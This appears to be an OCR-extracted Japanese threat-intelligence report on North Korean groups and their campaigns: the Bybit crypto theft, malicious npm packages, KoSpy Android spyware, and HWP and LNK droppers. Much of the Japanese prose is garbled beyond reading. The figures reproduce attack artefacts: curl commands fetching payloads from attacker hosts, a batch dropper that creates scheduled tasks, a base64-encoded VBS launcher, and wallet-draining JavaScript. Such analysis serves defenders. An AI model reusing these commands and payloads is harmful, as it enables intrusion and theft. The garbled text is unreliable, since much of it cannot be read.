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Docs 7 A& R UICBERE—HECRMIESNTHE D, IWEMSRM/\1/\—U > 0% Google
Docs U D EBRRBUTI VY ITRRDICHEUZERSNF T, WEMENU > OFTUY
02dE DTDRR-ZADT 7 MIMREFS LUHBY—EXD—DTH D 4sync ([N,
4sync M5 JavaScript (JS) &4 D> 0O0—RUET . 4> 00— RUJE JavaScript (&, IREXS
R AT AICHRFERIC NetsupportRAT #4500 > O— RI DHEEZRIZLUET . HSEUE—H
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#l1E Malware Zi8 U CIWEW RS AT L% JE— hTHIEIL. BREDOHDIITRZITEOEUE
EPFESNTNET,
Sector]175 JIL—TJDiEENE. RAY. TS52)L. BIOSTSETFTREZINFE U, %MD
=T FEERNFIRZRRIDEHICRST > IA—-RXS>HAD T (DragonForce
Ransomware) ZiLEILFE U,
Sector]196 JIL—TDEENE. O>7, PAUH, RTx—F>. 4> R MNLOTERZN
FUle, COUIL—T . BSEEDTORBEZ VRIS \VF 2 IEBZITSLHITBORH
ZRIUIUFEUZ, HESEEREITDISHDIDICREDEHICR—LR—2Z/F UIZZIT TR
. LinkedIn > X DRI TSY b ITA—LATEHT7HI> bafEiL. EELFEURZ. 5
ERR U2 SNS TS w b I A —AZBUTRORNLEZ/E L. TNICEKRZR O IZRED
KRANLEICHET B E. Telegram 2@ U CTHRAICEAIT 3FREITEDDILIOENIT DA/ %
EELUFELRL. WEWNRN Telegram (CIEH I D& HIEDZOHICET AT TUS—2 3> DA
SAR=IVRERZEWDFHIAEEEIC, T vS 2 IOR—JICEHRIDELORANLE L, &
SPIHEULETA v 2 IOR-2E EROEFTAGZR TV —>3>2 %2> A M=ILTED
EEBRR—ZDIIICRIDLDTERESNTED .. WEMKARENDT (CTr v IR—-TH
S5lcfcd Malware 25> 00— RIDLOFEELF LIz, Malware (FIREMRDARL —
T4 IS RAFAITIEUTRRBFATD Malware 50> 00— RENTZEDHENTVET
o WEMFRN Windows DA, Rhadamanthys B> 0O— K&, macOS D&, Atomi
¢ macOS Stealer (AMOS) M5 o> O— RENfcEPESNTULET,
Sector]199 JIL—TDiEENE. AS>4A. O3 7. ZPAUH ARA> AFURX, HE. F
JORXR. A TRREINE UL, ZHIIL—-TE ERODTITHA RO RAA > EBIZRA)L
ERDOBD RAA > ZERL. I—F—DFATZRZ2FAUTEREDH DIV NMIIEHRSED
HARRADIDvFT+ 27 (Typosquatting) FEZBRALFURL. BSEEBDODYI NITT7D
PRI TTHA BRAADICBIZ RAA 2 ZFIBL T, WM RE T« w2 IOR-(THEEL
FUTZ. BSEFERDYI NIT A AN=ILI 7L &S D>O—-RIBDELICREMNTIT
 WEMRNVILD T 7SI O0-RIDLICHEELF Uz, #HT)L—T (& PowerShel
| ROUT M@0 THERRSATLADIP 7 RLR, - =7HT> NMER. S XFAIER
REDT—HZENEL., TNZI/SELLTINY R&O> bO—)L (C2) B—/)\—(TEELEE
FENTVET,
Sector]200 JIL—TDi&EENE. A UD. PILEF> . 41> RTREZNF Uz, ZHT)L
—T@ET AV RREREEREDE T4 VI IA—)IVEREL. Ta w20 A—)UICISERH
ERFIASIZEIIOO-RIBDLITHERIDHAEEEIC T v T U INRMIEN
TWEUR. EMENRIESNZU> 070 v o3dE. BEIUAYA LD MEBEZEDY —
A= ROEMEL. WEENETE LTRGBS D MCESNICRELE T, RENIC. I
BEWURIATAICUE— NEZFI U IBRUEEY—)L (Remote Monitoring and

Management,
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RMM) O—DTHDRIU—>%T L (ScreenConnect) 50> 00— RENET, H5E
AOVU—=>%0 hZ2EU TREXMRE AT LZUE— MTHIEHL., BREOHDIITRAZITEDE
LizEpthenTnEd,
Sector]203 JIL—TJDiEENE. A UAH. PSITEREES. /1FUX. B HF5. IS
TT74. BBETREINFE UL, ZEI)IL—TEEENFIRZHERITDEHIC. UE—RNEZS
U OBLVEE (RMM) WY—)LD—DTH S SimpleHelp DRSS EZZERA LT, Medusa 5>
BADT7ZEMUFELUZ,. BESEINSDOMMEEHZE L TREXRS X5 AIC Windows
Defender MBI (X LT C RSATDHIT /N R&ZEML. TF21UFTAVYII1—23>0DA
AN BEZERIDI IV RZ2UE— FTEITULE. WEMNRS XF AIC Malware Z
R UFEUZ. ZBII—T 21U VU1 —2 3> OEECHEBEREE D 71 )L ZHIBR
U. EDRYU 31— 3> %879 DHEe=EITI D PoorTry
Windows RS1/{\—Z0O— RUTEITUIZE, S>YLATI77RAO—-RZETLELEZ. 5
SHADTTRAO—RIFE. WEWRS AT LD net 1—F+ U7+ & taskkill 1—F«1 UF
BT AD I VOERTEFMTEDRI T —EABLUEITRDI R T LT AT ZREIFET
cEFLUE.
S2HAD IV FREMRI AT LADOT - ZEBSEUICE. BSHBRENELL. #B5ES>
H A — bzBU TESEERDOIANCET D5 ZITO IO DERFEZ AL, T—5%
ESEUIRVMBETIEIT TR, RELEBRZAMIDEEBBT D ERG (FIILIIRX M-
>3Y) FEEEALE UL, 2B —TIREENMESEBERZIADRVEES, BRUE
F—%FT LIS (Telegram) Fv>RILETOVBNTEESNTWDRAZAS RAAL>
(Onion
Domain) (BRI D EEBL. ESICBEBRASAVDIZODEEFERE U TAZAS RAAM &
by OX (Tox) ZEALELIR,
Sector]204 J)L—T (. GitHub DLIRTSY hIA—LZBLTY I MNIT VDI IR
J7AINZEFD>O0—-RTEDEMD. URS MU ICRIENZY > O THRENKREFELFL
fzo BWEMENY I MO T TDIOSY ORI 7 A IV &FdD>0— R DiehlcRfdenizy>o
(CT7OERATBDE EBRITOTRBDLSCRAZDIIR-ZCUFTA LI hENEFY. K
BN T OIERIOMIENZI D> 0O- R Z2 T v IFDE. E5(CRIDT D> 0O~
RR—=ZCUGFA LD RhEN. ZDOR—ZEABLISIRIARL—ZD URL (CT7OEZRALTD
7SI O-RIDELSCHFELFRY . BSEAHISTRA M —ZD URL ZERT
BTET RBUENA L —2(CF7yTO— ReNZT 7 AILICH T 8 Z2L2< L. INn
ZADO— RBKUEITIDLIICHEELE U, CDIIL—TH DK SREkbl7Z 18 U ThHE
mUlzI7A)blE Lumma
Stealer & U TSN D IBIREFENELD Malware BNEMESNIEEMB I 71ILTT . HSENFES
HaEMER(C Malware ZEf L. KT —HBEEZENELTVD EDITSNTNET,
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Sector]205 JIL—(&. &HEMFIRERER T D/H(C, Jenkins AN RSA>A>45F—-T T
—Z (Command Line Interface,

CLI) DRess4zEA L T. Endurance S>HYAD T 7ZILELZE Uz,

Sector]206 JIL—F(&. TA v 04> ISHBEETDIHICAWS U5T RZBRLIZE
DRENTVET ., ZEIIL—TE DESNERBEEH DT 7)LEEBLTAWS 7O+~
ZESL. BIEUEF—ZFERAL TSI RUY-X(C7OEALE LIz, TDE. Amazon
Simple Email

Service (SES) & WorkMail ZRELTI A WS 2 IOA—IVRMEA > T SZIBEL. [EROR
RAZZEDTCIA VI IA—)ZREICRELIZEDESNTUVET,
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Ei:
1. SectorAlCHBEENTWVWB/I\YF> DV —T DiEE)

1) €U945—A01I)IWV—T

LA BIT OB ZZIT TV \WF>TJ)L—TDH T, SectorA01 J)L—F(bdtz+1UF
A BHECKDTSYILR (Lazarus) ELTEMSNTED, 8BE. &&8. A5>45. A XZTIL.
DT —THESD/)\vF 2 OFEHRESNFE UL,

ZEI I —T IESEENEIFzEERY -y b U, BMEEEZERL CCNZRHRY 275E
TFaUTSRFLZERL., FEHEHKITTOELZ. ED/\1Ew ~ (Bybit) IFSIBER
SIPACREREUZEHE. BoDBECEIEUZREFE2 X< RIBHTY. 202542 H 21 B,
COEBIFTTI(E 150 B RIVIRIED 1 —H U7 /s (Ethereum) & MegaETH WEEI SN D BMHNAHE
HUFEUR. TOBREF. V—SvILVI =TI T, JawvS >0, 2UTA > I SDHESEMED
EBRZHEHFEDRISBER (CHBIERETITONE U

let wa = ["O0x1db92e2eebc8e0c075a02bead9a2935becd2dfcfd",
"0x19c6876e978d9f12814743%ac4cd%ea2582cd141"];

let ba = ["0x828424517f9f04015db02169f4026d57b2b07229",
"0x7c1091cf6f36b0140d5e2faf18c3be29feed2d97"];

let ta = "0x96221423681a6d52e184d440a8efcebbl105c7242";

let da =
"0xa9059chbb000000000000000000000000bdd077f651ebe7f7b3cel6febf
2b025be296951600000000000000000000000000000000000000000000000
00000000000000000" ;

let op = 1;

let vl = 0;

let sga = 45746;

let sf = sd.getSafeProvider()

let sa = await sf.getSignerAddress();

sa = sa.toLowerCase();
let 1u = await sd.getAddress();
lu = lu.toLowerCase()

[Figure 3: JavaScript ZXD <L 1 77]

KBEGIREV T4 v 2 0F v 2R—2 28U CHBIFTOREE ZXW R (CERFIRZEMLE LT
. TDE., COBERBIRZFALUTEEIFARY NDO—J(CRAL. AN— I KSTRDUIY
S2S—fEBEHEBALT. DALY MOBEZEEY 3AY— M2 ST M THFRE SN TLRL
BHOBIEHUZEERITUEUE. COXRDIRPEHDEIEHU(E, QY FAERSNTUVRLAPLD
fRSStE(C LD TEBICRILL. TNICKDIREREIEGIZHFZIFEL. tF1 VT WRZEET D
CECHNUE LUz, BRSNEEE(F. MLR—RFvr v S 210X SR DEEEGIFZE G Tk
=N, BEORIVZRI THICERSNE L.
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o tornado Forum compliance Stake Stats FAQ [0 Docs

Tornado Cash Classic

A fully decentralized protocol for private transactions on
Ethereun.

© Launch App | Alternative Llinks >

[E4: ML=%&—R¥F+ v a(Tornado Cash) /R—AR—=0]

Related Events

SectorA01 used Python RCE disguised as Stock Simulator Tool
https.//cti.nshc.net/events/view/13364
2024 F 6 AN, —EDEFRZIEICLDYA/N\-KWENEBESBEEREIFMZENICL. &

MEDESBEEEZEMI D EZBNE L TITIhNE L. BREBITRERRY —>vIL

T2 U IOMEERL T &ENRTO2 10 bF—AvEEMEESNIZEGI XS

wIJ(CRDITHRL. FBRLBFEREZR L CEENR Python O 10 MMIREMITZ Ma
lware ZEITIDRIOFELF U, RS A SN data_fetcher.py I 77ILZFIFAL. p
yyam| OiESEMHEEERA LU TYUET— b I—RET (RCE) ZHAHDZET. EEQSTOF
DAV AREZEE T D EMNTEFE Uz, BV ORI EZETZ#. Docker IRIGHRTEZ
BEUTIERFASZITV. NEMERZED. NEBOMSSIHEZFIA LU CTKERBZITV. &

BNCESBEDA LY MI—/—ZZRL. AECHESEEEBIELELz, BEEE

SENREEY—IILZERAL TEEZIEL. OJZHIRLU CORMEHELE Lz, NS0

REFMHE. BELFRME SEBEMZEHFHE LTED, R ESHECRES Y=

BRUFELU

SectorA01 used a new Domains
https://cti.nshc.net/events/view/12963

SectorA01 used a new Domains
https://cti.nshc.net/events/view/12971

SectorA01 used Fake Job Interviews to Deploy MacOS Malware
https://cti.nshc.net/events/view/12989
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LB DERZIERIC LD BEITAEL. ByBit T 14 B R)LFEDIES@E DD EVE L
. COKEFIBEDRE EBET D R A1 2 EiFRZESUHRITEMZER UE Uz, B
& Tbybit-

assessment[.]Jcom| ZZRH#EFICETRU. D RAA 2 (EA—=)L GitHub 770>
ZBUTHSN TV > IS EERESNTWE L. BEITAEE. LinkedIn I2EDT
S hIA* — ATRRDEHZED THROME > FE 1 —Z1T0\, WEEZHL. T
WOV S v )LV ISV U IRMiZEBL TYILI TV Z2EITSE. S RTL%Z
RELFEUEL. COFr > R—2(F, Astrill

VPN ZEREENMERLIECEZRUTED., EBZERITZHC T DfbtiaiF A TERLU
TWeZl EZRUTWET, OIDDFER, BEIIL—T EBET S 27 D VPN

IP 7 RLXTT A MERRDHAN RS NFE LTz, 188D R A1 2 W RS BEE L T
ED. FBOMIEETEZE L CTERMS LUTEEREZ R E UILHENERIITITHN T
ZCEZRELUTVWEY . COHMHE. BEITAEDEIR(CHIT DI BRUEE) S
fEUesoEassdl U CTLhET,

® SectorA01 used a new Domains
https://cti.nshc.net/events/view/12968

® SectorA01 used a new Domains
https.//cti.nshc.net/events/view/12969

® SectorA01 used a new Domains
https.//cti.nshc.net/events/view/12991

® SectorA01 conducted a targeted malware attack against a Drone manufacturer
https://cti.nshc.net/events/view/13071
b, RO->ORRB IOREEEZNRE UL/ \WF2TEBCLD, EFa1UFT~o
RENEEL. CNICKDVILD T VRBRELENET —SFDORENFEELELZ. DT TY
—N\— &SRB —/—MEEENDME. ROUTINR-ZADD T TS TILMEREN
. RERY D= TEMDONILD T 7 ZEMBLURITI DHIERINE U

® SectorA01 used JavaScript Malware
https://cti.nshc.net/events/view/13171

® SectorA0O1 used a new Domains
https://cti.nshc.net/events/view/13151

® SectorA01 used a new Domains

NSHC©2025 All rights reserved.


https://cti.nshc.net/events/view/12968
https://cti.nshc.net/events/view/12969
https://cti.nshc.net/events/view/12991
https://cti.nshc.net/events/view/13071
https://cti.nshc.net/events/view/13171
https://cti.nshc.net/events/view/13151

Cyber Threat Intelligence Report

https://cti.nshc.net/events/view/13245

® SectorA01 exploited reentrancy vulnerability in Bybit's smart contract
https://cti.nshc.net/events/view/13487
2025 2 A 21 H. FELES@EEERBIFICRE Ut AFRIERZF1 VT EECKD.

15 B RILIEED1—H U7 LA (Ethereum) & MegaETH WEEIENFE Uz, CHOWE(E
I=SITIIDZFUST TavS O, TUTA > I SOMSEEOBRZHEAE
DOEIEHERFETURL. WEEHFIRET I« v 2 0F v >R—2 @0 TIRHEEZER
EREHREZEEL. eNZFALTRY MD—DCEALFEUZ. DALY hOBER
HEIBIDIAN— NI RSO MDUI S22 — (reentrancy) REssMEZZERL. 5F
B SN TUVVRWVEHOSIEH U EEITUE LIz, S5IC. FKIEIED API IESSHENIIND .
B SRHRZIRIEL, TF1 VT WRZEE T DI ENTEHUIZ, BRSNIZEEE. T
ornado
Cash DK S/ — EXPDEEES | FiZEB L Tiden. BEARENELIT, MESSRER
SR AEBENRO— REBEORENEFELRMBRE LU THERenE Lz, COEE
M4 BBIFIORENMC1—F —DEFHEICRERFEZSX. HElBBORERRAEZ
FlEFEECULFURLZ. TNEFESBEEER(CHEVWTEDREF1 YT 7O N ILOREE
ZRFA T DB TUI,

® SectorA01 used DNS Pivoting in Bybit Crypto Heist Investigation
https.//cti.nshc.net/events/view/13352
20254 3 A 6 H. t#EDBR 705 —(CRET D Bybit IESBE TS hIA—AT

FAEUZ 10 BRIVFRED/\\vF T (LT 7Y IT7— MRS NFE L. AATE

. Safe{Wallet} & SlowMist [CK D TRANHFESNTEIEE(CEIET D RAM>%AE IP
7 RLRZDILUE U, DH7(E DNS SRRERA NMEET -2 EA L TREE(CREY
DEBMDA > ITSEEM L. IZ—DIRAMNEE L2 LW —/(—BZFL(CEDH SN
FUlc, EBRFED—DE. 1013\ F—=/)\w 1 ERA MY ST —)\w> 3%
MRy BUTEERXAC> (getcoinprice[.]info 8K U firexch[.Jcom) ZEITDZET
Ufce CNBSDRAAEHEICETDEMDRAEL. EMEIUESEET—YZ/H DR
AA PR UTZD =B ZERA LTS ZEZBsMNMcLELZ,. COMRFE R
XA > OBENEABF(C PTR BB CHRND/ (I —>Z @A L. B> IS (CEAT D%
ZRHUEUZ, 2AREUT. CNEEET DBR R A A > &SN T DTS DEAITHY
7I7O—-F &R L. R DNS B XK MEE DO EE 4z LET .

® SectorA01 used Typosquatting npm Packages to Deploy Malware
https://cti.nshc.net/events/view/13292
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2025 3 A, JtEABOBR I —(CEET D 6 DOFHILWVEY npm /\y & —ZH\HESR
SNFLUZ, INSDN\yvor—2 3 ARERRZEEL. ERERZEH. /\WIRT
ZRMMIDCEZBNELTVE U, 2292/\wo—=(d. is-buffer-

validator. yoojae-validator. event-handle-package. array-empty-validator. react-
event-dependency. auth-

validator T& 0D FARRITY T« I FFE2ER U TEENRS AT SUZEMU.
FAREZRNTLE UL, &/\WwH—2 (& BeaverTaill ¥ILTT 7HEENTHED, X
FLAOFMIER. J>SOTOTOT7AILT—4, BEBEDALY hESF—Sv MMIT
—FZINELFE LU, WESNET—FEOXY> RIS hO—IIL—/){—(TRELFEL
2o CORIVI T 7 (FLEREGALRAM EZERBENRIO— REfEARZRL. BEDBRL
7O —DiEEE—HUTWE LUz, Fio, BEESHEA -T2V -XOEEEZES T
GitHub U/RZ RUTHIR— henNTWE L. cnNSD/\yo—(F&Et 330 B ES
D>0O—REN. HEFRT npm LEXNUTHERRE UTTFOF7+« TIMRETUTZ,

® SectorA01 used a new Domains
https://cti.nshc.net/events/view/13429

2) EU5—-A02OV—T

BB BITOZIEZZ T TND/\WF>TJ)IL—T DT, SectorA02 J)L—T(FBotzH+1UF
A BECKDODTRABI—UST b (ScarCruft) ELTEIHSNTED., PAUIDOAS I TRESD
I\ FTFEENFERENE LU,

ZEHJ)L—T . AndroidX—XDEERIEENIZ BRI E LU TKoSpy EWDSRN\A DT 7=ERUELE
o SDAAITTTF. T7AIRRZ—Zv =0V I NI TPV IFT— AT+« UTA 1R ECH
BNz 777 UzBC Thfmen, BEBSIUVREOI T —2FR5—5v heULT
WET . 2022438 (CHID TERAISNTLLR, RIEFXTEEOHLNTE D, FirebaseI5 D RF—
IN—RZFRAUIZ2BREOIY> RO bO—JL (C2) SRFLAZE(C, BNICTST(>%0
— R U CESRMREZ LR I DIBIEZHF D TLE T, INEMRDIER(E. SMS. BFEREE. /{1 XD
AIEIEHR. REI 7M. A—F 1A ROU-223vY MRET., HEEDT /A RICHIT DL
RIIRT7 O R7ZAIREC LE T,
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29 [Permissions]

20 android.permission.INTERNET

21 android.permission.FOREGROUND_SERVICE

22 android.permission.USE_FULL_SCREEN_INTENT
22 android.permission.RECEIVE_BOOT_COMPLETED
24 android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
25 android.permission.READ_EXTERNAL_STORAGE
26 android.permission.WRITE_EXTERNAL_STORAGE
27 android.permission.MANAGE_EXTERMAL_STORAGE
22 android.permission.READ_PHONE_STATE

23 android.permission.READ_PHONE_MNUMBERS

40 android.permission.READ_SMS

41 android.permission.SEND_SMS

4z android.permizsion.RECEIVE_SMS

4z android.permizsion.WRITE_SMS

44  android.provider.Telephony.READ_SMS

45 android.permission.ACCESS_NETWORK_STATE

46  android.permission.WAKE_LOCK

47

[& 5: Android X)L T 7 HMEEIBIRICT7 O AT BT (TER UAER YU X M

CDRI\ATT T E. EERI—FT 1 UFTw 7T IICHAHE L TGoogle PlayB KUY — RI\—F1 D
FPITUR KB U TERMEN., —3BDF7 T EFirebaseZT O T MMIHIBRESNFE UM, DR
187z UTTEEN (MR AE U TEITHR T,

attribute’ 207460t L
e

o TGOS ISISha SRS MTIOSORSaR e A it St mw T

i

e Mg IR

L NORBBAERSH) SexctorAl used Android Spyware

sttribute 4ebcke6BcAAIIOA1SADIATADAGI5a2 IS

6. BEDEE AR AT > SectorA02 fjw 7’@,@5]

Related Events

® SectorA02 used a new Domains
https://cti.nshc.net/events/view/ 13074

® SectorA02 used LNK Malware variants
https://cti.nshc.net/events/view/13152

® SectorA02 used Android Spyware disguised as Utility Apps
https://cti.nshc.net/events/view/13488
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KoSpy EWSHTULWLY Android )\ DT PHERENE LUz, CDORINADx77(E. [T
7 A ILFR—T+ —(File

Manager)] . VYIJKDI77vIF—h1—5+ U5 (Software Update

Utility)] OESRILITTI—FT« T 7T UZBL T, BEEBESIVREOCI—Y
—ZMRICRBZITVET,

2022 FF 3 BICHIHTERRSNTLLR. RETEHHTTH D, B2 2 BEOIV> R &
> hO—-)L (C2) SRS LAZEBAHLUTULET .. KoSpy (& Firebase 757 RF—HR—2X
NSREBEZEEL. ThZBL TT ST > Z28MN(CO— RU CERMEERITLEY.
CDTSTA>mBL T, SMS, BEEE. T/\AADAE., J71Ib. A—F1A. AU
U—>23y MREDBRZWNEIT D ENTEET, F/z. KoSpy (& Google

Play Yo — R/)\—F 4 X R TRMENDERRT7 TUDK S (CAR L TR Z EhE U %
9, IWTE. Google TRAT+ >N TULETZT U Firebase 7O 12 bMIHIBREN
TWETH R)A DT 7ERFMRA L U TR ziE 0 CEBPTI . KoSpy D1 >
7 S(3ALEAEEHED) \v F > T J)L— T OLRIDOEESH D /EE (CRET IR FFUDNT
BD. KoSpy ELEIHFOILBAEFEIE )LD T 7 EIORMIEEMNEE. BES L1 TSD
HEZTIELUTVWET, CNUCEKD. TRAEDEBSLVERE (VhUE1—->32) &
S(CHEMICIZO>TVET, BREUT, KoSpy (FRER LT/ \A RICH T DILERIEHRIN
EBLUVERZENE LU TGETESNEESERRA/ (DT 7T,

® SectorA02 used LNK Malware disguised as Job Offers
https://cti.nshc.net/events/view/13341
2024 F 12 B, EFEBOFEIMMEEEWRELZT (v 2 IFv R-2HRHE
NFELZ. RBEGEETIDEEDAE (HR) BFIZEV. AROEFREXA—ILZIEXZDFE
UTze X—=JLICIFINRD— RTRESNIZ ZIP T 7 A ILINRTESNTE D ZIP I 7 1)L
[CIELNK T7AMIL (33— bhhy hIJ7AIL) iREFENTVWELUE. DT 71 I)L7&aET
92 &, PowerShell OX> RAVEITEN. Baseb4 TL>I— RENFT—FEHESB K
U7 O—RU. Windows OEATOTERZIE—- LU THGME (-2 XF2X) ZHRU
Z#. T O—RENeET—9E[/HEDTI 7))L (PDF BXUDLLZED) (CREFLET,
TDE. EATENZILIT 7 DLL (FO—4— (loader) &L THEBEL. 1> —FRw b
EROBREETRIEZF TV IUTCHY RRY JREZE# UFET . #EaiERand
& UE=M=/{—DSBIMDORILI T T7RAO—REFT>O—-RUTETL. DX
00— & AES128
CBC A THES{t=NTWLWET . COWREEFFZ, Hovbsnz C#O— R, LA KMUF
—1BF. BERI>O—F+ 2O ERLELUL, COMFEISBIFOERENOF >
NR—2 SFAE R U EE UKl B8 &+ O— REAESEZRLUTVET,
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3) €945 —A059)IW—7

BT OLIEZ 2T TVDI\WF > IT)L—TFDOHR T, SectorA05 JIL—F(FotzF1 U5
ATE(CKLO>THFLRF (Kimsuki) ELTHBHSNTHD., 8EE. 1> R FE AFUITES
DI\ FIFEFHREENE LR,

HWP Drop —— DOCX
il

F

Execute
Execute
e

Download

[ 7: SectorA05 ZJ)L—T D HWP YLD T PIRERIE]

ZEIIIN—TF 123 B-f—77h7=—-

BEESEHRN.hwpl EWDSERID/\>T)L (HWP) J7AIILERDXEZFERALELIZ, /\>JILD
TAIEERITITDE, XEARBBCSFENSD OLE (Object Linking and

Embedding) AT 10 MO —B7« LU KU (%Temp%) ([C—BEJ7AI)ILE LU TREFEEND =R
ZEBAL. ZEONIVIT 7 I 7V E—RK7 4 Lo NUCERKRLELUZ,

Name:  BINO0OS OLE.bin

me 528 = 3 Tr Raw Bytes & LF

Output a0Om::
Total found: 12

byyyu.

EEE

-
¥
i

-

SS3S

FYYIIIVIY
VY
VIVYVFFVyyyye
VIYYVFTIIyyys
OLE Packagew:

Packagew.

897 quu

get.dbw

C:\Users\scorpion\Downloads\get . dbw.

C:\Users\scerpion\AppData\Local\Temp\get . dbw.

curl -k -0 "%appdata¥\Microsoft\wis.db" "https://wu.elmer.com.tr/modules/mod_finder/src/Helper/1212 pprb_all/dksleks?newpa=comline™shu

[ 8: J\>ILTED OLE AT 14 MTIBASNZILIT 7 I 7 ILD—E]
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KBMEN )\ DI IT 7 AIDAXICXERE ) > O UTRESNIZ) \ AN\ -2 070Uy Id
BE TIURSUTA LI NIICERSNEZET 7AILD—DTH D)\ FI7AILERDIILDIT T
NEIT=NFET,

(18 BRE) - BAW - YAED) - AN - WW - HOKR) - AW - S -
=] A&y . AL HER2 | e
o = A R[] = o - sa zEuxz B g =
B FE & B Elilh &
E0D| 2% 95 Zmus ) BRI 2 E NE Go
- mA He AR R HHRD| - - - |
Oh-2-A-&& - |7 ~l[3:120 pt [~} 2% 2 z
C3 P T TS TR FOOPTIORT JOVOTIIT: PPV XTI SUPTRL SO AVSTR PRI ST | IORTON . PR, oy
w7 L
o
- B 255152 0154010 X1 2.4 2241 hwpx
- 3
: [329%%%05%%%N%H%thp
o [
i c052 %1 K| T —, i
1% 1S 5§ 353 | 1/139 | JE | BB S DIR SX) niE &8 q)12% ) &

[ 9: WEMRMNI W ITDXIDICHEIDEEET 7 1I)LAX]

Ny FI7A)VIHBERRICEREDRIDEXEZRITL. NyFIF7ANIINEIRIRTZ1—3(CF
HHRDELTEFRLET,

lrode 15,1
Eecho off

oW N

del "%tmp*\paper.hwp" /f /q
S ren "itmp*\hwp_doc.db" "paper.hwp"
’:‘ start explorer "%tmp#%\paper.hwp"
; copy "#tmp%\paper.hwp"” "%tmp%*\hwp_doc.db" /Y

sks /create /tn TemporaryStatescleanesdfrs /xml "%t ;7\sch_0304.db" /£

sks /create /tn TemporaryStatescleansders_1 /xml "%tmp%\sch_0304_1.db" /f
type "#tmp%*\app.db”> "c:\users\public\music\0304.exe"

copy /Y "c:\users\public\music\0304.exe" "c:\users\public\music\0304_1l.exe"

type "#tmp*\mnfst.db"> "c:\users\public\music\0304.exe.manifest"
type "#tmpi\mnfst_1.db"> "c:\users\public\music\0304_1.exe.manifest"
type "*tmp%\get.db"> "c:\users\public\music\0304.bat"

[® 10: /\>OIIXEICEEND/ A\ 00Uy I URBEICEITEND/\YF I 71)L]
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ETGR mze - 22w - gEo - NAY - W - HeKR) - 3E® - 5200 - | 7 A1 7 x
s/ my ama
Rty B Bl
T : e
L BH |
3110 pt == Zv ZF 2t - B - =
T R | =
j7
" FdolFtdlv] A237] A WA
Hswsete Zoie Y2 ME Ut (% 49s - - )
ERE:) =
= (h2 2 B
h P S ofn gt
IE —mail
f Ha(42%) o3
ot 9 oty 7| A%
d‘ F2 EEEE
¥ = XRE7) S XS OS50 TYHTHR. $T 4N LS 2T O b
- @ s =8 NYSIS 7122 HUBUS
= OjFICID| Y 0158 stz OS2 NFPXISE W0, ST 250 YRS
- US| RS MY HB2S MHHFHL.
Lo
=
A3 an uol
o EE 9 AF
[-]
E
O ol § A4 O IHES | L
I = Maoor |~ ccme s~ msima A AL e TEEL e
I paper (%] (KN ] I+ ]
115 1= | 1@ 22 | (C2:ESrLkm | 11 3292 ol A HE 712 A1) olE B Q%% @

[ 11: Ny FIT7AIUCEK D TRITESNDHIDT = — RFIT A M

WS MEERTZ 1 —F(C 15 DERTENEI DL DICTFHNIRDZEZRL., FnEzZ#FLUELT
. BEExSNIZT 71L&, Visual Basic Script (VBS)

D7 AIIHRDRAT VT SORFERIBZIRH T SIERRY—)LTHD [VbsEdit] THD. ZHY—
WEBU T« LI NUICERSNIZD 7 A ILOFHS base64 T > I— RSz VBS T 7
AIHRDR O VT baeERITUE U,

<1--BEGIN_VBSEDIT DATA
PHJIvb3Q+DQo8c21sZWS50PnRydWUSL3NpbGVudD4NC3 x0aW11b3VOPjASL3RpbWVY
dXQ+DQo8c2NyaXBObmFtZT4xXLnZiczwvc2NyaXBObmFtZT4NCxhcHBuYW11P3ES
L2FwcGShbWU+DQo8c2NyaXBOP1N1dCB3cyASIENYZWFOZU9iamVidCgiViNTG cmlw
dC5TaGVsbCIpO1N1dCBmcyA9IENYZWFOZU9iamVidCgiU2NyaXB0aWsSnLkZpbGVT
eXNOZW1PYmplY3QiKTp3cySydW4gImME6XHVZZXIzXHB1YmXpY1XxtdXNDpY1wwMzA0
LmJhdCIsIDAsSIGZhbHN1PC9zY3JpcHQ+DQo8cGlkPkS5VVnlgMDQ4YmFVaWthZnF3
M2NnRWxRQUVSeTRLCHZDQWRuZFNIckSIMUF3YUFmZVJI6Z2Voakl0MEdATtS11CamyYs
L3BpZD4NCix1dmFsdWFO0aWouPmNkZjE4NGIJNDEZNTESY 5 cOMTI3MzE10DczNTdh
MmYyNDg1YTM1NmZ1MD1kNTcxYTUWYIMSOGIXMGIZNGQ4YWJI1MzBiMDJ10TUOMDK1
MzMz YTV YmRhMDMOMTQ30TMOMzYS5YZzI0YZRjOWFmMDRIMGUIMGYSZGI 1MzBmM2Vk
N2USMzQzZmZmMzQ5NTd1YZzQ3MGIWwYQINWE4NGM2YTQ3NDJIJYTNiZTRIMIAOZDAL
MmRmM3 U4M3 cOZmI3YZzVmZDEXMGIkN2QxNzhiMzIxNj ZiMmI1NzkOZIRhYzZ1i YWNm
M2VKkZmFhM2ViMzQ30T JmM2QyYzMOZWRiZ§ k2MDdiYj ESOWVmODhkMDFI M3 kOYmVi
OWYzOTgxNzAOYWUSL2V2YWx1YXRpb24+DQo8L3Jvb3Q+

END_VBSEDIT_DATA-—>

[ 12: base64 TI>d— R&ENiz VBS J7(ILERDR IS M

[VbsEdit] ZBU TEITEND VBS RIUT MMIEFTT 2 DHD. RHMDAOUT MI—K>~+
LD NUCERSNTET 7LD 1 DTHD/I\YF I 7AI)LZ2ETLU TEMD/I\YF I 71 )L&5F
>O—RU, 2BBEOROVUT MMFIAF D> O—- RENZ/\yF I 7 AL EFEITLUTEEDONILO T T
TRZEFEITLED,
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[FD0>O0—4F—EEDINYFI7AIIAI>R]
® curl -k -0 "c:tusersttpublicmusicittwis.db”
http[://103[.]149[.98[.231/pprb/0304_pprb/d.php?newpa=comline

<script>

Set ws = CreateObject ("WScript.Shell™):
Set fs = CreateObject("Scripting.Fi
gpath = ws.ExpandEnvironmentStrings
bpath = ws.ExpandEnvironmentStrings
If fs.FileExists (gpath)

Then:

Set £ = fs.GetFile(gpath):

[®13: ¥D>0— Renfe@i/\yFI7 A )L&2%£i79 23 VBS RTUT ]

stemObject™) :

DITER, FHRYXOZBC CENMDYILD T 77Z2SFD>O0—- R3O RaI> hO—JL (C2

) B—=\—[C(HERTET . BENICERANT/I\YFI7A)Z2ERIT DT LFTEREATUEL
B ARRICIEC TBEYRNILD TV ZEEURITCEDL D (CERET NI/ N F I 7 AILhMEREN
ZEHiENEY,

Related Events
® SectorA05 used LNK Malware variants

https://cti.nshc.net/events/view/12844
2025 F 2 A(CEASNTITARIFIR D 1)\ —WE (L. BMD.Ink T 7 1 )LZFIA UIZZERED
Malware v >/RX—>2TH D, FEDBBATRAENSAZE (LRI DT SXRIU U 2z
RUTWET, WERInk T7 LD ROV \—MS18FD. IR =Nz PowerShell
